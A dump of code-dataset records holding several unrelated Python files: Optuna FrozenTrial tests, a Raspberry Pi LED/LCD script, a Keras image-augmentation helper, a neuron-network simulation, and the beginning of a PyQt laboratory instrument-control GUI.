Must come after `pytest.warns` to catch failures.\n trial.suggest_categorical(\"x\", [{\"foo\": \"bar\"}]) # type: ignore\n\n\ndef test_not_contained_param() -> None:\n trial = create_trial(\n value=0.2,\n params={\"x\": 1.0},\n distributions={\"x\": UniformDistribution(1.0, 10.0)},\n )\n with pytest.warns(UserWarning):\n assert trial.suggest_float(\"x\", 10.0, 100.0) == 1.0\n\n trial = create_trial(\n value=0.2,\n params={\"x\": 1.0},\n distributions={\"x\": LogUniformDistribution(1.0, 10.0)},\n )\n with pytest.warns(UserWarning):\n assert trial.suggest_float(\"x\", 10.0, 100.0, log=True) == 1.0\n\n trial = create_trial(\n value=0.2,\n params={\"x\": 1.0},\n distributions={\"x\": DiscreteUniformDistribution(1.0, 10.0, 1.0)},\n )\n with pytest.warns(UserWarning):\n assert trial.suggest_float(\"x\", 10.0, 100.0, step=1.0) == 1.0\n\n trial = create_trial(\n value=0.2,\n params={\"x\": 1.0},\n distributions={\"x\": IntUniformDistribution(1, 10)},\n )\n with pytest.warns(UserWarning):\n assert trial.suggest_int(\"x\", 10, 100) == 1\n\n trial = create_trial(\n value=0.2,\n params={\"x\": 1},\n distributions={\"x\": IntUniformDistribution(1, 10, 1)},\n )\n with pytest.warns(UserWarning):\n assert trial.suggest_int(\"x\", 10, 100, 1) == 1\n\n trial = create_trial(\n value=0.2,\n params={\"x\": 1},\n distributions={\"x\": IntLogUniformDistribution(1, 10)},\n )\n with pytest.warns(UserWarning):\n assert trial.suggest_int(\"x\", 10, 100, log=True) == 1\n\n\ndef test_report() -> None:\n\n # FrozenTrial ignores reported values.\n trial = _create_frozen_trial()\n trial.report(1.0, 1)\n trial.report(2.0, 2)\n\n\ndef test_should_prune() -> None:\n\n # FrozenTrial never prunes trials.\n assert _create_frozen_trial().should_prune() is False\n\n\ndef test_set_user_attrs() -> None:\n\n trial = _create_frozen_trial()\n trial.set_user_attr(\"data\", \"MNIST\")\n assert trial.user_attrs[\"data\"] == \"MNIST\"\n\n\ndef test_set_system_attrs() -> None:\n\n trial = _create_frozen_trial()\n trial.set_system_attr(\"system_message\", \"test\")\n assert trial.system_attrs[\"system_message\"] == \"test\"\n\n\ndef test_set_value() -> None:\n\n trial = _create_frozen_trial()\n trial.value = 0.1\n assert trial.value == 0.1\n\n\ndef test_set_values() -> None:\n\n trial = _create_frozen_trial()\n trial.values = (0.1, 0.2)\n assert trial.values == [0.1, 0.2]\n\n trial = _create_frozen_trial()\n trial.values = [0.1, 0.2]\n assert trial.values == [0.1, 0.2]\n\n\ndef test_validate() -> None:\n\n # Valid.\n valid_trial = _create_frozen_trial()\n valid_trial._validate()\n\n # Invalid: `datetime_start` is not set when the trial is not in the waiting state.\n for state in [\n TrialState.RUNNING,\n TrialState.COMPLETE,\n TrialState.PRUNED,\n TrialState.FAIL,\n ]:\n invalid_trial = copy.copy(valid_trial)\n invalid_trial.state = state\n invalid_trial.datetime_start = None\n with pytest.raises(ValueError):\n invalid_trial._validate()\n\n # Invalid: `state` is `RUNNING` and `datetime_complete` is set.\n invalid_trial = copy.copy(valid_trial)\n invalid_trial.state = TrialState.RUNNING\n with pytest.raises(ValueError):\n invalid_trial._validate()\n\n # Invalid: `state` is not `RUNNING` and `datetime_complete` is not set.\n for state in [TrialState.COMPLETE, TrialState.PRUNED, TrialState.FAIL]:\n invalid_trial = copy.copy(valid_trial)\n invalid_trial.state = state\n invalid_trial.datetime_complete = None\n with pytest.raises(ValueError):\n invalid_trial._validate()\n\n # Invalid: `state` is `COMPLETE` and `value` is not set.\n invalid_trial = copy.copy(valid_trial)\n invalid_trial.value = None\n with pytest.raises(ValueError):\n invalid_trial._validate()\n\n # Invalid: Inconsistent `params` and `distributions`\n inconsistent_pairs: List[Tuple[Dict[str, Any], Dict[str, BaseDistribution]]] = [\n # `params` has an extra element.\n ({\"x\": 0.1, \"y\": 0.5}, {\"x\": UniformDistribution(0, 1)}),\n # `distributions` has an extra element.\n ({\"x\": 0.1}, {\"x\": UniformDistribution(0, 1), \"y\": LogUniformDistribution(0.1, 1.0)}),\n # The value of `x` isn't contained in the distribution.\n ({\"x\": -0.5}, {\"x\": UniformDistribution(0, 1)}),\n ]\n\n for params, distributions in inconsistent_pairs:\n invalid_trial = copy.copy(valid_trial)\n invalid_trial.params = params\n invalid_trial.distributions = distributions\n with pytest.raises(ValueError):\n invalid_trial._validate()\n\n\ndef test_number() -> None:\n\n trial = _create_frozen_trial()\n assert trial.number == 0\n\n trial.number = 2\n assert trial.number == 2\n\n\ndef test_datetime_start() -> None:\n\n trial = _create_frozen_trial()\n assert trial.datetime_start is not None\n old_date_time_start = trial.datetime_start\n trial.datetime_complete = datetime.datetime.now()\n assert trial.datetime_complete != old_date_time_start\n\n\ndef test_params() -> None:\n\n params = {\"x\": 1}\n trial = FrozenTrial(\n number=0,\n trial_id=0,\n state=TrialState.COMPLETE,\n value=0.2,\n datetime_start=datetime.datetime.now(),\n datetime_complete=datetime.datetime.now(),\n params=params,\n distributions={\"x\": UniformDistribution(0, 10)},\n user_attrs={},\n system_attrs={},\n intermediate_values={},\n )\n\n assert trial.suggest_uniform(\"x\", 0, 10) == 1\n assert trial.params == params\n\n params = {\"x\": 2}\n trial.params = params\n assert trial.suggest_uniform(\"x\", 0, 10) == 2\n assert trial.params == params\n\n\ndef test_distributions() -> None:\n\n distributions = {\"x\": UniformDistribution(0, 10)}\n trial = FrozenTrial(\n number=0,\n trial_id=0,\n state=TrialState.COMPLETE,\n value=0.2,\n datetime_start=datetime.datetime.now(),\n datetime_complete=datetime.datetime.now(),\n params={\"x\": 1},\n distributions=dict(distributions),\n user_attrs={},\n system_attrs={},\n intermediate_values={},\n )\n assert trial.distributions == distributions\n\n distributions = {\"x\": UniformDistribution(1, 9)}\n trial.distributions = dict(distributions)\n assert trial.distributions == distributions\n\n\ndef test_user_attrs() -> None:\n\n trial = _create_frozen_trial()\n assert trial.user_attrs == {}\n\n user_attrs = {\"data\": \"MNIST\"}\n trial.user_attrs = user_attrs\n assert trial.user_attrs == user_attrs\n\n\ndef test_system_attrs() -> None:\n\n trial = _create_frozen_trial()\n assert trial.system_attrs == {}\n\n system_attrs = {\"system_message\": \"test\"}\n trial.system_attrs = system_attrs\n assert trial.system_attrs == system_attrs\n\n\ndef test_called_single_methods_when_multi() -> None:\n\n state = TrialState.COMPLETE\n values = (0.2, 0.3)\n params = {\"x\": 10}\n distributions = {\"x\": UniformDistribution(5, 12)}\n user_attrs = {\"foo\": \"bar\"}\n system_attrs = {\"baz\": \"qux\"}\n intermediate_values = {0: 0.0, 1: 0.1, 2: 0.1}\n\n trial = create_trial(\n state=state,\n values=values,\n params=params,\n distributions=distributions,\n user_attrs=user_attrs,\n system_attrs=system_attrs,\n intermediate_values=intermediate_values,\n )\n\n with pytest.raises(RuntimeError):\n trial.value\n\n with pytest.raises(RuntimeError):\n trial.value = 0.1\n\n with pytest.raises(RuntimeError):\n trial.value = [0.1]\n\n\ndef test_init() -> None:\n def _create_trial(value: Optional[float], values: Optional[List[float]]) -> FrozenTrial:\n\n return FrozenTrial(\n number=0,\n trial_id=0,\n state=TrialState.COMPLETE,\n value=value,\n values=values,\n datetime_start=datetime.datetime.now(),\n datetime_complete=datetime.datetime.now(),\n params={},\n distributions={\"x\": UniformDistribution(0, 10)},\n user_attrs={},\n system_attrs={},\n intermediate_values={},\n )\n\n _ = _create_trial(0.2, None)\n\n _ = _create_trial(None, [0.2])\n\n with pytest.raises(ValueError):\n _ = _create_trial(0.2, [0.2])\n\n with pytest.raises(ValueError):\n _ = _create_trial(0.2, [])\n","sub_path":"tests/trial_tests/test_frozen.py","file_name":"test_frozen.py","file_ext":"py","file_size_in_byte":16925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"72264306","text":"import RPi.GPIO as GPIO\nimport I2C_driver as LCD \nfrom time import*\n\nled_g=12\nled_r=32\nled_y=33\nSwitch1=16\nSwitch2=18\n\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BOARD)\n\ndef main():\n GPIO.setup([Switch1, Switch2], GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n GPIO.setup([led_g, led_r, led_y], GPIO.OUT, initial=GPIO.LOW)\n \n mylcd=LCD.lcd()\n \n while 1:\n if GPIO.input(Switch1)==GPIO.HIGH:\n GPIO.output(led_r,GPIO.HIGH)\n mylcd.lcd_display_string(\"red on\",1)\n sleep(1)\n GPIO.output(led_r, GPIO.LOW)\n mylcd.lcd_clear()\n\n GPIO.output(led_g, GPIO.HIGH)\n mylcd.lcd_display_string(\"geen on\",2)\n sleep(1)\n GPIO.output(led_g, GPIO.LOW)\n mylcd.lcd_clear()\n\n elif GPIO.input(Switch2)==GPIO.HIGH:\n GPIO.output(led_y, GPIO.HIGH)\n mylcd.lcd_display_string(\"yellow on\",1)\n sleep(1)\n GPIO.output(led_y, GPIO.LOW)\n mylcd.lcd_clear()\n\nif __name__==\"__main__\":\n main()\n","sub_path":"i2c/LCD/lcd_pra2.py","file_name":"lcd_pra2.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"447965990","text":"import sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom keras.preprocessing import image\n\n# data augmentation with Keras ImageDataGenerator\n\npos_data_gen = image.ImageDataGenerator(\n rotation_range=5,\n width_shift_range=0.05,\n height_shift_range=0.05,\n shear_range=0.05,\n zoom_range=0.05,\n horizontal_flip=True,\n fill_mode='nearest',\n rescale=1./255)\n\nneg_data_gen = image.ImageDataGenerator(\n rotation_range=20,\n width_shift_range=0.20,\n height_shift_range=0.20,\n shear_range=0.20,\n zoom_range=0.20,\n horizontal_flip=True,\n fill_mode='nearest',\n rescale=1./255)\n\ndef generate_pos(\n img_path,\n target_size,\n num_imgs=5):\n \"\"\"Loads an image and generates random augmentations.\"\"\"\n img = image.load_img(img_path, target_size=target_size)\n x = image.img_to_array(img)\n x = x.reshape((1,) + x.shape)\n\n augmentations = []\n i = 0\n for batch in pos_data_gen.flow(x, batch_size=1):\n augmentations.append(batch[0])\n i += 1\n if i >= num_imgs:\n break\n return np.asarray(augmentations)\n\ndef generate_neg(\n img_path,\n target_size,\n num_imgs=5):\n \"\"\"Loads an image and generates random augmentations.\"\"\"\n img = image.load_img(img_path, target_size=target_size)\n x = image.img_to_array(img)\n x = x.reshape((1,) + x.shape)\n\n augmentations = []\n i = 0\n for batch in neg_data_gen.flow(x, batch_size=1):\n augmentations.append(batch[0])\n i += 1\n if i >= num_imgs:\n break\n return np.asarray(augmentations)\n\ndef show_augmentations(img_path, target_size):\n \"\"\"Shows various augmentations of a particular image.\"\"\"\n img = image.load_img(img_path, target_size=target_size)\n x = image.img_to_array(img)\n x = x.reshape((1,) + x.shape)\n\n i = 1\n fig, ax = plt.subplots(4, 5)\n ax[0, 0].imshow(image.array_to_img(img))\n ax[0, 0].axis('off')\n for batch in data_gen.flow(x, batch_size=1):\n ax[i // 5, i % 5].axis('off')\n ax[i // 5, i % 5].imshow(image.array_to_img(batch[0]))\n i += 1\n if i >= 4 * 5:\n break\n plt.show()\n","sub_path":"augment.py","file_name":"augment.py","file_ext":"py","file_size_in_byte":2144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"343316395","text":"import numpy as np\r\nfrom neuron import *\r\nfrom net import *\r\nimport pickle\r\n\r\n\r\ndef random_network():\r\n\tres = []\r\n\tI_0s = np.arange(0, 10, 0.1)\r\n\tw_vals = np.arange(0.001, 0.05, 0.001)\r\n\tfor I_0 in I_0s:\r\n\t\tfor w_val in w_vals:\r\n\t\t\tneuron_num = 10\r\n\t\t\tneuron_list = [Neuron(I_0=I_0) for _ in range(neuron_num)]\r\n\t\t\tnet = Net(neuron_list=neuron_list, w_val=w_val)\r\n\t\t\tnet.forward_T(T=10*1000)\r\n\t\t\tmean_fire_rate = net.get_mean_fire_rate()\r\n\t\t\tCV = net.get_CV()\r\n\t\t\tif 10 <= mean_fire_rate <= 100 and abs(CV-1) < 0.5:\r\n\t\t\t\tprint('I_0:{} w:{} mean_fire_rate:{} CV:{}'.format(\r\n\t\t\t\t\tI_0, w_val, mean_fire_rate, CV))\r\n\t\t\t\tres.append([I_0, w_val, mean_fire_rate, CV])\r\n\r\n\twith open('problem1_10.pkl', 'wb') as f:\r\n\t\tpickle.dump(res, f)\r\n\r\n\r\ndef sensory_network_1_1():\r\n\td_p = []\r\n\tI_1 = np.arange(-5, 5, 0.1)\r\n\tfor i in I_1:\r\n\t\tds = []\r\n\t\tfor trail in range(100):\r\n\t\t\tnet = Sensory_Net(neuron_num=10, I1=i, I2=-i)\r\n\t\t\tnet.forward_T(T=1000)\r\n\t\t\td = net.get_d()\r\n\t\t\tds.append(d)\r\n\t\tds = np.array(ds)\r\n\t\td_p.append(np.sum(ds > 0)/len(ds))\r\n\twith open('problem2_1_1.pkl', 'wb') as f:\r\n\t\tpickle.dump(d_p, f)\r\n\r\n\r\ndef sensory_network_1_2():\r\n\trate = []\r\n\tI_1 = np.arange(0, 2, 0.001)\r\n\tfor i in I_1:\r\n\t\tnet = Sensory_Net(neuron_num=10, I1=i, I2=i)\r\n\t\tnet.forward_T(T=1000)\r\n\t\trate.append(net.get_mean_fire_rate())\r\n\twith open('problem2_1_2.pkl', 'wb') as f:\r\n\t\tpickle.dump(rate, f)\r\n\r\n\r\ndef sensory_network_1_3():\r\n\tI_sum = 1.514\r\n\td_p = []\r\n\tI_1 = np.arange(-0.5, 2, 0.01)\r\n\tfor i in I_1:\r\n\t\tprint(i)\r\n\t\tds = []\r\n\t\tfor trail in range(100):\r\n\t\t\tnet = Sensory_Net(neuron_num=10, I1=i, I2=I_sum-i)\r\n\t\t\tnet.forward_T(T=1000)\r\n\t\t\td = net.get_d()\r\n\t\t\tds.append(d)\r\n\t\tds = np.array(ds)\r\n\t\td_p.append(np.sum(ds > 0)/len(ds))\r\n\twith open('problem2_1_3.pkl', 'wb') as f:\r\n\t\tpickle.dump(d_p, f)\r\n\r\n\r\ndef sensory_network_1_4():\r\n\tI_sum = 1.514\r\n\td_p = []\r\n\tI_1 = np.arange(-0.5, 2, 0.01)\r\n\tw_I = np.arange(0, -1, -0.1)\r\n\tfor w in w_I:\r\n\t\tprint('w:{}'.format(w))\r\n\t\td_p_w=[]\r\n\t\tfor i in I_1:\r\n\t\t\tds = []\r\n\t\t\tfor trail in range(100):\r\n\t\t\t\tnet = Sensory_Net(neuron_num=10, w_I=w, I1=i, I2=I_sum-i)\r\n\t\t\t\tnet.forward_T(T=1000)\r\n\t\t\t\td = net.get_d()\r\n\t\t\t\tds.append(d)\r\n\t\t\tds = np.array(ds)\r\n\t\t\td_p_w.append(np.sum(ds > 0)/len(ds))\r\n\t\td_p.append(d_p_w)\r\n\r\n\twith open('problem2_1_4.pkl', 'wb') as f:\r\n\t\tpickle.dump(d_p, f)\r\n\r\ndef sensory_network_1_4_tmp():\r\n\tI_sum = 1.514\r\n\td_p = []\r\n\tI_1 = np.arange(-0.5, 2, 0.01)\r\n\t# w_I = np.arange(-0.01,-0.1,-0.01)\r\n\tw_I=[-0.005]\r\n\tfor w in w_I:\r\n\t\tprint(w)\r\n\t\td_p_w=[]\r\n\t\tfor i in I_1:\r\n\t\t\tds = []\r\n\t\t\tfor trail in range(100):\r\n\t\t\t\tnet = Sensory_Net(neuron_num=10, w_I=w, I1=i, I2=I_sum-i)\r\n\t\t\t\tnet.forward_T(T=1000)\r\n\t\t\t\td = net.get_d()\r\n\t\t\t\tds.append(d)\r\n\t\t\tds = np.array(ds)\r\n\t\t\td_p_w.append(np.sum(ds > 0)/len(ds))\r\n\t\td_p.append(d_p_w)\r\n\r\n\twith open('problem2_1_4_tmp.pkl', 'wb') as f:\r\n\t\tpickle.dump(d_p, f)\r\n\r\n\r\nif __name__ == '__main__':\r\n\t# random_network()\r\n\t# sensory_network_1_1()\r\n\t# sensory_network_1_2()\r\n\t# sensory_network_1_3()\r\n\t# sensory_network_1_4()\r\n\tsensory_network_1_4_tmp()\r\n","sub_path":"NS/NS_extra/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"265544390","text":"# Author: Florian Le Roux\r\n# -*- coding: utf-8 -*-\r\n\r\nfrom ctypes import *\r\nimport tempfile\r\nimport re\r\nimport math\r\nimport time\r\nimport sys\r\nimport inputs\r\nimport os\r\n\r\nimport datetime\r\n\r\nprint('Loading Dependencies, Comment Out The Thorlabs Stage Features for better software performances.')\r\nimport OneOGUI\r\n\r\n#Thorlabs Stage Plugin\r\n#import ThorlabStagePlugin as tsp / will only be needed when threading works\r\n\r\nimport thorlabs_apt as apt # Comment Out This Line To Speed Up \r\n\r\n#Nanopositioning Stage Plugin\r\nimport NpPlugin as nps\r\n\r\n#Extreme Laser/Extend UV Plugin\r\nimport ExtremePlugin as el\r\n\r\n#Spectrometer/CCD Plugin\r\nimport LightFieldPlugin as sccd\r\nimport Spectrometry\r\n\r\n#Map Pop Ups\r\nimport promptSavePopUp\r\nimport ConfirmMapStartPopUp\r\nimport MapPopUp\r\n\r\n#Data Handler\r\nfrom DataHandlers import mapDataHandler\r\nfrom DataMapper import dataMapper\r\n\r\n#Map Class\r\nimport Mapper\r\nimport ImageDisplayer as imd\r\nfrom PIL import ImageQt, Image\r\nfrom PyQt5.QtCore import QObject, QSize, QThread, pyqtSignal, pyqtSlot, QRect\r\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QTextEdit, QDockWidget, QWidget, QPushButton\r\nfrom PyQt5.QtGui import QPixmap\r\n\r\n\r\nclass GUI(OneOGUI.mainGUI):\r\n \r\n ## Signals definitions for Qt threading ## \r\n \r\n #Thorlabs Stage signals\r\n sig_askForThorMove = pyqtSignal(float)\r\n ThorStageSerial = 27504894\r\n \r\n #Nanopositioning Stage signals\r\n \r\n sig_disconnectNPStage = pyqtSignal() \r\n sig_askForMove = pyqtSignal(float,float,float) \r\n \r\n #Extreme Laser/ Extend UV signals \r\n \r\n sig_turnLaserOnOff = pyqtSignal(int) \r\n sig_requestLaserEmissionstatus = pyqtSignal() \r\n sig_LaserPower = pyqtSignal(float)\r\n sig_Laserwvl = pyqtSignal(float) \r\n sig_LaserRepRate = pyqtSignal(int) \r\n \r\n #Spectrometer/CCD signals\r\n \r\n sig_disconnectSpectrometer = pyqtSignal()\r\n sig_setSaveExportFolder = pyqtSignal(str)\r\n \r\n #Map signals\r\n \r\n sig_previewProgress = pyqtSignal(float)\r\n \r\n def __init__(self,MainWindow):\r\n \r\n #Take GUI and initialize threads use.\r\n \r\n super().__init__(MainWindow)\r\n \r\n self.MainWindow = MainWindow\r\n self.__threads = []\r\n self.Log = MainWindow.findChild(QTextEdit,\"Log\") \r\n self.setupGamepad() \r\n self.setupConnections()\r\n \r\n #Thorlab Stage Booleans\r\n self.ThorThreadIsStarted = False\r\n self.isConnectedToThorStage = False\r\n self.isConnectedToThorStageUpdatePosition = False\r\n \r\n #Nanopositioning Stage Booleans \r\n self.ThreadIsStarted = False \r\n self.isConnectedToStage = False \r\n self.HasAskedForDisconnection = False \r\n self.StagehasAlreadyRanOnce = False\r\n self.isConnectedupdatePosition = False \r\n\r\n #Extreme Laser/Extend UV Booleans\r\n self.isLaserConnected = False \r\n self.IsLaserOn = True \r\n \r\n #Spectrometer/CCD Booleans\r\n self.isSpectrometerConnected = False\r\n \r\n def setupGamepad(self):\r\n \r\n #gamepad Controls\r\n \r\n gamepad_Thread = GamepadSthread()\r\n gamepad_Thread.setObjectName('thread_gamepad') \r\n self.gamepadThreadName = gamepad_Thread.objectName\r\n Gamepad_worker = Gamepad()\r\n Gamepad_worker.moveToThread(gamepad_Thread)\r\n gamepad_Thread.started.connect(Gamepad_worker.listeningToCommands) \r\n gamepad_Thread.finished.connect(self.emptyThreads)\r\n \r\n gamepad_Thread.start()\r\n \r\n Gamepad_worker.sig_msg.connect(self.react)\r\n Gamepad_worker.sig_move.connect(self.moveFromGamepad)\r\n Gamepad_worker.sigConnect.connect(self.attemptPiezoStageConnection)\r\n \r\n self.__threads.append((gamepad_Thread, Gamepad_worker)) \r\n\r\n\r\n def setupConnections(self):\r\n \r\n # NanoPositioning Stage Connections\r\n \r\n self.cnectNpStageButton.clicked.connect(self.attemptPiezoStageConnection)\r\n self.goToZeroPushButton.clicked.connect(self.goToZero) \r\n self.goToCentrePushButton.clicked.connect(self.goToCentre) \r\n self.goToPushButton.clicked.connect(self.goTo)\r\n \r\n # Thorlabs Stage Connection (when threading will be available)\r\n \r\n self.cnectThorButton.clicked.connect(self.attemptThorConnection)\r\n self.updtThorButton.clicked.connect(self.updatePosThor)\r\n self.goThorButton.clicked.connect(self.goToThor)\r\n \r\n # Laser Connections\r\n \r\n self.cnectLaserButton.clicked.connect(self.attemptLaserConnection)\r\n self.LaserPowerButton.clicked.connect(self.turnLaserOnOff)\r\n self.LaserApplyButton.clicked.connect(self.setLaserWvlFromPrompt)\r\n self.LaserApplyButton.clicked.connect(self.setLaserPowerFromPrompt)\r\n self.LaserApplyButton.clicked.connect(self.setLaserRepRateFromPrompt) \r\n \r\n # Spectrometer CCD Connections\r\n \r\n self.cnectSpectroButton.clicked.connect(self.attemptSpectrometerConnection)\r\n \r\n # Map acquisition\r\n # Map acquisition is left on the main thread as the measurement should not be\r\n # interrupted by other moves made on the same GUI\r\n \r\n self.mapButton.clicked.connect(self.enterMapAcquisitionMode)\r\n \r\n def attemptThorConnection(self):\r\n \r\n #As is the library does not support threading, it will run on main\r\n #if self.isConnectedToThorStage == False:\r\n \r\n ##initialize connection\r\n\r\n #thorThread = tsp.ThorlabStagePluginQThread()\r\n #thorThread.setObjectName('thorThread') \r\n #self.thorThreadName = thorThread.objectName\r\n \r\n #thorWorker = tsp.ThorlabStagePluginWorker()\r\n #thorWorker.moveToThread(thorThread)\r\n \r\n #thorThread.started.connect(thorWorker.connection) \r\n #thorThread.start()\r\n \r\n #thorWorker.sig_msg.connect(self.react)\r\n #thorWorker.sig_position.connect(self.updatePositionThorReceivingMessage)\r\n #thorWorker.sig_success.connect(self.connectedToThorStage)\r\n \r\n #self.__threads.append((thorThread, thorWorker))\r\n \r\n #self.sig_askForThorMove.connect(thorWorker.moveTo) \r\n \r\n #else:\r\n \r\n #self.Log.append('Already Connected to Thorlabs Stage.')\r\n \r\n self.ThorStage = apt.Motor(self.ThorStageSerial)\r\n self.ThorPosLCD.display(self.ThorStage.position)\r\n self.connectedToThorStage()\r\n \r\n def attemptPiezoStageConnection(self):\r\n \r\n if self.isConnectedToStage == False:\r\n \r\n #initialize connection\r\n\r\n nps_position_Thread = nps.NPstagePluginQThread()\r\n nps_position_Thread.setObjectName('NPstageThread') \r\n self.npsThreadName = nps_position_Thread.objectName\r\n \r\n nps_position_worker = nps.NPstagePluginWorker()\r\n nps_position_worker.moveToThread(nps_position_Thread)\r\n \r\n nps_position_Thread.started.connect(nps_position_worker.connection) \r\n nps_position_Thread.start()\r\n \r\n nps_position_worker.sig_msg.connect(self.react)\r\n nps_position_worker.sig_positions.connect(self.updatePositionReceivingMessage)\r\n nps_position_worker.sig_success.connect(self.connectedToNPStage)\r\n nps_position_worker.sig_disconnection.connect(self.mainDisconnection)\r\n \r\n self.__threads.append((nps_position_Thread, nps_position_worker))\r\n \r\n self.sig_disconnectNPStage.connect(nps_position_worker.disconnectFromEquipment)\r\n self.sig_askForMove.connect(nps_position_worker.moveTo) \r\n \r\n \r\n def attemptLaserConnection(self):\r\n \r\n #this method finds all relevant equipment (laser/monochromators)\r\n #on the different ports.\r\n\r\n if self.isLaserConnected == False:\r\n\r\n laser_thread = QThread()\r\n laser_thread.setObjectName('laser_thread') \r\n self.laserThreadName = laser_thread.objectName\r\n laser_worker = el.LaserWorker()\r\n laser_worker.moveToThread(laser_thread)\r\n laser_thread.started.connect(laser_worker.equipmentScanAndConnect) \r\n\r\n laser_worker.sigcnection.connect(self.connectedToLaser)\r\n \r\n self.sig_requestLaserEmissionstatus.connect(laser_worker.emissionStatus)\r\n laser_worker.sig_status.connect(self.isLaserOnOff)\r\n \r\n self.sig_turnLaserOnOff.connect(laser_worker.turnLaserOnOff)\r\n \r\n laser_worker.sigpower.connect(self.updatePower)\r\n laser_worker.sigreprate.connect(self.updateRepRate)\r\n laser_worker.sigwvl.connect(self.updateWvl)\r\n \r\n self.sig_LaserPower.connect(laser_worker.setPower)\r\n self.sig_Laserwvl.connect(laser_worker.setWvl)\r\n self.sig_LaserRepRate.connect(laser_worker.setRepRate)\r\n \r\n laser_worker.sigmsg.connect(self.react)\r\n \r\n laser_thread.start() \r\n self.__threads.append((laser_thread, laser_worker))\r\n \r\n def attemptSpectrometerConnection(self):\r\n \r\n self.react('Attempting connection to Spectrometer/CCD.') \r\n \r\n if self.isSpectrometerConnected == False:\r\n\r\n spectro_thread = QThread()\r\n spectro_thread.setObjectName('spectro_thread') \r\n self.spectroThreadName = spectro_thread.objectName\r\n \r\n spccdPlugin = sccd.LFPlugin()\r\n spccdPlugin.moveToThread(spectro_thread)\r\n \r\n spectro_thread.started.connect(spccdPlugin.equipmentScanAndConnect) \r\n\r\n spccdPlugin.sigcnection.connect(self.connectedToSpectrometer)\r\n \r\n self.sig_disconnectSpectrometer.connect(spccdPlugin.close)\r\n #self.sig_setSaveExportFolder.connect(spccdPlugin.setSaveExportFolder)\r\n \r\n spccdPlugin.sig_msg.connect(self.react)\r\n \r\n spectro_thread.start() \r\n self.__threads.append((spectro_thread, spccdPlugin)) \r\n \r\n self.sig_setSaveExportFolder.emit('C://Users//leroux//Desktop')\r\n \r\n def enterMapAcquisitionMode(self):\r\n \r\n #this is where the mapper receives his first information about work to come\r\n #for now the mapper is not yet in a new thread as its execution is not confirmed\r\n #it can therefore directly share its information with the main thread\r\n \r\n self.mapper = Mapper.mapper(self.XCentrePromptmap.toPlainText(), self.YCentrePromptmap.toPlainText(), self.XLengthPromptmap.toPlainText(), self.YLengthPromptmap.toPlainText(), self.XStepPromptmap.toPlainText(), self.YStepPromptmap.toPlainText(),self.zPosLCD.value())\r\n \r\n #the mapper then transmits the estimation to the pop up awaiting confirmation\r\n \r\n self.confirmMapStartPopUp = ConfirmMapStartPopUp.confirmMapStartPopUp()\r\n \r\n self.fillConfirmMapStartPopUp()\r\n \r\n self.confirmMapStartPopUp.show()\r\n \r\n self.confirmMapStartPopUp.ConfirmAcquisition.clicked.connect(self.whereToSave)\r\n \r\n def whereToSave(self):\r\n \r\n self.whereToSavePopUp = promptSavePopUp.promptPopUp()\r\n \r\n self.whereToSavePopUp.savePathButton.clicked.connect(self.rawfolderCreation)\r\n \r\n def rawfolderCreation(self):\r\n \r\n if not os.path.exists(self.whereToSavePopUp.pathToFolderPrompt.toPlainText()):\r\n \r\n os.mkdir(self.whereToSavePopUp.pathToFolderPrompt.toPlainText())\r\n \r\n os.mkdir(self.whereToSavePopUp.pathToFolderPrompt.toPlainText()+'\\Raw')\r\n\r\n self.acquisitionFolder = self.whereToSavePopUp.pathToFolderPrompt.toPlainText()+'\\Raw'\r\n \r\n self.whereToSavePopUp.pathToFolderPrompt.setText(\"Directory created.\")\r\n \r\n self.whereToSavePopUp.close()\r\n \r\n self.confirmedAcquisitionExecution()\r\n \r\n return\r\n \r\n else: \r\n \r\n self.whereToSavePopUp.pathToFolderPrompt.setText(\"Directory already exists.\")\r\n \r\n os.mkdir(self.whereToSavePopUp.pathToFolderPrompt.toPlainText()+'\\Raw')\r\n \r\n self.acquisitionFolder = self.whereToSavePopUp.pathToFolderPrompt.toPlainText()+'\\Raw'\r\n \r\n self.whereToSavePopUp.close()\r\n \r\n self.confirmedAcquisitionExecution()\r\n \r\n return \r\n \r\n def fillConfirmMapStartPopUp(self):\r\n \r\n self.confirmMapStartPopUp.NumberOfStepsValueLabel.setText('{} steps'.format(self.mapper.numberOfSteps))\r\n \r\n self.totalNumberOfMapSteps = self.mapper.numberOfSteps\r\n \r\n estimatedTime = str(datetime.timedelta(seconds=self.mapper.estimatedTime))\r\n \r\n self.estimatedMapTime = self.mapper.estimatedTime\r\n \r\n finishTime = str(datetime.datetime.now() + datetime.timedelta(seconds=self.estimatedMapTime))\r\n \r\n self.estimatedMapFinishTime = finishTime\r\n \r\n self.confirmMapStartPopUp.EstimatedAcTimeValueLabel.setText(estimatedTime) \r\n \r\n self.confirmMapStartPopUp.finishTimeValueLabel.setText(finishTime) \r\n \r\n def confirmedAcquisitionExecution(self):\r\n \r\n self.react('Acquisition has been confirmed, opening acquisition pop up.')\r\n \r\n #self.MainWindow.hide()\r\n \r\n self.confirmMapStartPopUp.close()\r\n \r\n #at this point the main GUI is hidden to prevent the user from disturbing the acquisition\r\n \r\n self.mapacquisitionPopUp = MapPopUp.mapPopUp()\r\n \r\n self.mapacquisitionPopUp.show()\r\n \r\n #the mapper is added to a new QThread, destroyed at the end of the execution of the map\r\n #this triggers the map acquisition\r\n \r\n self.triggerMapThreads()\r\n \r\n self.initializeMapPopUp()\r\n \r\n def triggerMapThreads(self):\r\n \r\n mapper_thread = QThread()\r\n mapper_thread.setObjectName('mapper_thread') \r\n \r\n #this is where the mapper is disconnected from the main thread\r\n mapper = self.mapper \r\n self.mapper = []\r\n \r\n #and connected to the mapper thread\r\n mapper.moveToThread(mapper_thread) \r\n mapper_thread.started.connect(mapper.acquiremap) \r\n \r\n mapper.sig_msg.connect(self.reactMapAc)\r\n mapper.sig_stepPerformed.connect(self.mapStepHasBeenPerformed)\r\n mapper.sig_time.connect(self.mapupdateEstimate)\r\n \r\n #this thread is the data handler thread\r\n \r\n 